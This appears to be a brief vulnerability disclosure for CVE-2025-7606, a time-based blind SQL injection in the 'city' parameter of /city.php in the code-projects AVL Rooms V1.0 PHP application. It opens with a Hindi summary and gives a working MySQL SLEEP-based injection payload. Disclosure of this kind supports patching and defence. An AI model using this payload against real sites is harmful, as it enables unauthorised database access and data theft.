
CVE-2025-7606 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: कोड-प्रोजेक्ट्स AVL Rooms V1.0 /city.php में टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन। MySQL SLEEP-आधारित निष्कर्षण के लिए पेलोड शामिल है।
code-projects AVL Rooms Project V1.0/city.php SQL injection
AVL Rooms
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
dazhi
/city.php
V1.0
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
city (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: city=1' AND (SELECT 5303 FROM (SELECT(SLEEP(5)))kuAW) AND 'FOfS'='FOfS&date=07/13/2025